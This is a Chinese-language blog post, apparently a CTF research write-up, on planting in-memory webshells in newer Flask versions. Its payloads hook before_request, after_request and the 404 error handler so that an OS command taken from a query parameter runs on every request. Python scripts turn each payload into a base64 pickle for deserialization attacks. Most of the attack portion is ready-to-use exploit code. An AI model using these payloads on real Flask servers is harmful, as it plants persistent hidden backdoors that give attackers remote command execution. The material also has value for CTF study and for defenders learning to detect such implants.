新版FLASK下python内存马的研究

新版FLASK下python内存马的研究

风起

2月中旬的某一天,跟@Ic4_F1ame无聊时聊起了出题的事。当时是打算出道python题目(菜🐕的我之前只会出php的)。两个卑微web🐕一起讨论出题,于是就有了下面的聊天,也是罪恶的开始(bushi):

内存马初体验

当时正好看到一篇关于flask如何打内存马的文章,对这种新奇的东西颇感兴趣,感慨自己之弱小,web之奇妙。

https://longlone.top/安全/安全研究/flask不出网回显方式/

于是两只web🐕就研究了起来,文章主要介绍了两种情况下对flask不出网无回显的处理方式:

debug模式下利用报错(这个就不介绍了,文章中有详细介绍,至今不过时)

非debug模式下利用内存马(重点看这个)

add_url_rule

文章中使用add_url_rule方法来添加路由,也是网上看到了最早有的方式了,竟然可以添加一个自定义路由,并且可以自定义匿名函数,访问这个路由就可以调用这个匿名函数。

直接给出payload:

sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())

看到这里身为web🐕的我已经惊讶不已了,迫不及待的尝试起来

陷入窘境

在我幸幸苦苦搭建好本地环境,然后测试的时候,惊奇的发现竟然失败了,请看vcr:

什么情况啊,竟然失败了,出现报错!当然这并不奇怪,因为那篇文章中也出现了类似的报错,but,文章中说那是开启了debug模式才导致的,我明明把debug模式关了啊,给我直接干异或了?

于是我想起了一句真理 <<遇事不决,可以调试>>,于是我迫不及待化身断点小能手,开启调试之旅。

可以看到,问题出在这里,我们的函数被check啦,不能重复调用add_url_rule,这就奇了怪了,明明要开启debug模式才会调用到这个check函数,怎么现在到处都是呢?

于是我开始不断的看那篇文章,妄想从中来窥破这其中的隐秘。不经意的看一眼文章发布的时间,终于让我得以窥见一二。

这是文章中的一张图,看时间,2021年!?,今夕是何年?现在都2024了

那么现在失败的原因也显而易见了,flask版本的问题

我成了🤡,我的flask是新版的,这b新版的flask竟然把check函数给弄的到处都是,直接干碎了我的ctf梦。

于是我道心破损,加上当时对flask的研究不是特别深,对这些装饰器啥的更是一知半解,了解的知识大部分是从ctf的题目中所得,果不其然,虽然想寻找有没有别的方法,但心有余而力不足,对内存马的研究只能先暂时咕咕咕🕊。

转折

过了大概两个月吧,我是没想到,事情竟然还能迎来转机!!!

某天无聊,于是惯常的浏览p牛的知识星球来学习学习,就有了下面这一幕:

???看到竟然也有师傅也在研究flask内存马,也碰到了相同的问题,并且还解决了,让我大受震撼。

于是我早已沉寂的心,被这最后一段话给重新唤醒,web🐕开始重出江湖了。

再战内存马

根据这位师傅提供的解决办法,我开始了找寻之旅

首先得了解一下这两个@app.before_request @app.after_request是个什么玩意

Flask 使用 after_request 和 before_request 处理特定请求的方法|极客教程 (geek-docs.com)

发现这两个玩意就是个特殊的装饰器,可以处理特定的请求方法

before_request

简而言之就是我们每次发起请求之前,就会调用这个方法,触发里面定义的函数

我们跟进这个装饰器内部看他调用了哪些函数:

可以看到是调用了一个

before_request_funcs.setdefault(None, []).append(f)

然后f就是访问值,也是我们可以自定义的,那么这里只要我们设置f为一个匿名函数,类似之前的

lambda :__import__('os').popen('whoami').read()

这样每次发起请求前,都会触发一个这个匿名函数了,神奇!!!

web🐕的灵敏嗅觉直接促使着是开启探索之旅,于是直接构造个payload:

eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")

舒服了孩子,终于成功了,妈妈再也不用担心我的内存🐎了(

after_request

这个就不多解释了,在请求完成后调用,跟上面那个一样,唯一需要注意的是这个是需要定义一个返回值的,不然就报错。

这里一开始还卡了一会,因为老是构造错,最后看到了先知上的最新的分析文章,应该是那个师傅写的吧

https://xz.aliyun.com/t/14421

参考这里面他的构造:

eval("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)")

思考🤔新的顿悟!

成功的打通两个内存马后,让我悬着的心终于下来了,如gc一般的快感瞬间席卷全身,让我欲罢不能,身为求知欲很强的web🐕,我不满足只有这两种方法,我迫切想找到还有没有其他的办法,欲求不满了属于是

于是我搜索flask中的钩子函数,还真让我找到其他的函数

前三种就是之前的那些,重点关注后面的两个,看起来似乎有点搞头!!!

teardown_request

这玩意的分析跟前面after_request的类似,他们的payload也通用,改个调用的底层函数名就行。不过这玩意很鸡肋,因为他虽然能调用命令,但是一样无回显,额,那这样我还要他干嘛,当然在某些对关键字bypass的情况下也可以利用达到绕过的效果,师傅们感兴趣的可以自己去探究。

errorhandler

这个是我新找到的一种方式,过程有点曲折,请君听我慢慢道来:

故事开始于关于这个函数的介绍:

这个函数可以用于自定义404页面的回显,那敢情好啊,我们平常随便访问一个不存在的路由都是返回404页面,要是我能操控404页面返回的东西,这不到处都是内存🐎。

于是我开始跟进这个的底层函数调用逻辑,跟前面的分析一下,轻车熟路的找到register_error_handler:

等等,在这里我嗅到了一丝不对劲的味道,这里的画面似乎似曾相识啊,请看vcr:

这里的写法不是跟我梦开始的地方不能说毫不相干吧,只能说一模一样,难道我又要成为🤡了吗!

我抱着不信的想法,试了一下

焯,难道我又要再一次成为🤡了嘛,回到家乡哥谭?不,我之所以这么想变强,就是不想再一次成为🤡啊,混蛋!!!

只要我想走,路就在脚下

坚持蛊,给我力量吧!!!(突然犯病

天无绝人之路,只要我想走,路就在脚下

跟进register_error_handler函数,看到他底层还调用了别的函数:

这里终于不再是熟悉的🤡了,可以看到这里并没有对这个函数做check,而code_or_exception和f不就是之前的那两个参数吗,如果我们绕过上面的register_error_handler函数,对这里的函数进行控制,一样可以达到我们的目的。

可以看到exc_class, code这两个变量,用屁股想都知道,code就是404,exc_class是一个对象,f就是我们404界面的返回值

codef是我们比较方便可以手动构造的,但是exc_class不太好我们自己构造,我们看到这两个变量是通过_get_exc_class_and_code函数获取的,这个函数的参数code_or_exception就是我们之前传的404,那我们就依靠这个来获取变量值,然后覆写图中这两个函数即可

exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()")

随便访问一个不存在的路由触发404错误即可

守得云开见月明

下面给出pickle利用下的payload:

before_request

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('gxngxngxn')).read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

after_request

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('gxngxngxn') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'gxngxngxn\')).read())\")==None else resp)",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

errorhandler

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

此外还有在ssti中使用的payload,留待师傅们自行探索。

posted @ 2024-05-12 20:51  gxngxngxn  阅读(1516)  评论(1编辑  收藏  举报